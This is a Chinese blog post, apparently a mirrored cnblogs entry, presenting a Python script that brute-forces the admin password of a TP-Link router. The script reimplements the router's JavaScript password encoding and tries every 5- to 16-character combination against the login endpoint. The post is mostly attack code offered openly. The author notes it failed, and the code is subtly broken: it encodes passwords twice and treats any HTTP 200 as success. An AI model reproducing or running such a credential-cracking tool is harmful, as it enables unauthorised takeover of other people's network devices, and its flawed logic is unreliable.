首页 > 其他分享 >tp-link路由器后台_硬解

tp-link路由器后台_硬解

时间:2023-02-25 19:56:45浏览次数:37  
标签:code 硬解 tp 密码 link time print password 路由器

title: 脚本_tp-link路由器后台_硬解
author: 杨晓东
permalink: 脚本
date: 2021-10-02 11:27:04
categories:
- 投篮
tags:
- demo

脚本_tp-link_路由器后台_硬解

import requests
import itertools
import time

"""
失败....
"""

# 访问测试
# url = "http://192.168.1.1/"
# r = requests.get(url)
# print("状态码:",r)
# print("网页内容:",r.text)

# 装饰器 计算时间
def time_out(a_func):
    def clocked(*args, **kwargs):
        start = time.time()
        result = a_func(*args, **kwargs)
        end = time.time()
        print("程序:" + a_func.__name__,"    运行时间:" + str(end - start))
        return result
    return clocked



# js逆向 得到路由器密码加密方式
def security_encode(b):
    a = 'RDpbLfCPsJZ7fiv'
    c = 'yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW'

    e = ''
    g = len(a)
    h = len(b)
    k = len(c)

    f = g if g > h else h
    for p in range(f):
        n = l = 187
        if p >= g:
            n = ord(b[p])
        elif p >= h:
            l = ord(a[p])
        else:
            l = ord(a[p])
            n = ord(b[p])
        e += c[((l ^ n) % k)]

    return e


# 使用加密后的密码开始登陆路由器后台
def login(password):
    requests.get('http://192.168.1.1', headers={'Content-Type': 'application/json'})
    r = requests.post('http://192.168.1.1', json={"method": "do", "login": {"password": security_encode(password)}})

    code = r.status_code
    if code == 200:
        print('状态码:',code,"密码正确,登陆成功!!!!!!!")
    else:
        print('状态码:', code, "密码错误,继续尝试登陆.......")
    return code
# 密码字典  生成密码
@time_out
def num_z_Z_symbol(a=5,count=0):
    """
    我认为的所有密码:
    数字 + 小写字母 + 大写字母 + 符号
    :return:
    """
    chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*?_-."

    for i in range(5, 17):  # 密码长度  从5位数开始  16位数密码结束
        for c in itertools.product(chars, repeat=i):
            count += 1
            password = ''.join(c)
            print('*************** 第 ' + str(count) + ' 组密码 ***************')
            print(password)
            e = security_encode(password)
            if login(e) == 200:
                print("密码破解成功,程序退出!")
                break
            else:
                pass


if __name__ == '__main__':

    # 开始硬解
    num_z_Z_symbol()

标签:code,硬解,tp,密码,link,time,print,password,路由器
From: https://www.cnblogs.com/demo443/p/17155214.html

相关文章

  • 脚本硬解密码
    title:脚本_硬解密码_代理ipauthor:杨晓东permalink:脚本date:2021-10-0211:27:04categories:-投篮tags:-demo脚本_硬解密码__代理ipimportrequestsimp......
  • windows10中安装 php的 pecl_http扩展
    在下面的网址中下载对应版本的三个dll文件  php_raphf.dll , php_propro.dll , php_http.dllhttp://windows.php.net/downloads/pecl/releases/在php.ini中增下......
  • Http 编码格式简介
    Http格式简介Http是用于在客户端和服务端之间进行通信的一种消息格式,一般由以下几个部分组成:起始行:这部分在Http响应中也被称为状态行,针对不同的Http类型,其中包......
  • SpringCloud 源码学习笔记2——Feign声明式http客户端源码分析
    系列文章目录和关于我一丶Feign是什么Feign是一种声明式、模板化的HTTP客户端。在SpringCloud中使用Feign,可以做到使用HTTP请求访问远程服务,就像调用本地方法一一样的......
  • Jetpack Compose学习(11)——Navigation页面导航的使用
    原文:JetpackCompose学习(11)——Navigation页面导航的使用-Stars-One的杂货小窝在Android原生的View开发中的,也是有Navigation,原生我之后可能再出篇教程,今天讲解......
  • 在Google的TPU上训练Fashion MNIST图像识别模型
    作者|张强今天我们要训练的模型是基于Keras框架,来训练FashionMNIST图像识别模型,该模型和MNIST是一样的分类数量。​​MNIST​​​的分类是0到9的十个数字​​​FashionMN......
  • java提供link;string转json
    java提供linkJSONObjectjsonObject=newJSONObject();jsonObject.put("type",1);resp.setLink(newLink(5,surveyId,"COLLE......
  • nginx、http、tomcat虚拟主机格式
    httpd<virtualhost *:80>servername ​​www.a.com​​documentroot /var/www/html</virtualhost>nginxserver{listen 80;server_name ​​www.a.com;​​root html;i......
  • Docker配置https证书案例
    目录一.安装harbor1.安装docker2.安装dockercompose3.解压harbor软件包二.配置harbor服务器配置https证书1.修改harbor配置文件2.使得配置生效3.测试服务三.配置harbor服......
  • https(六)集成网络
    背景:com那边没指定truststore,也能用,home不给truststore时就不行 猜测1:truststore:双向认证中是必须的,如果没有显式的指定,默认指定为$JAVA_HOME/lib/security/cacerts......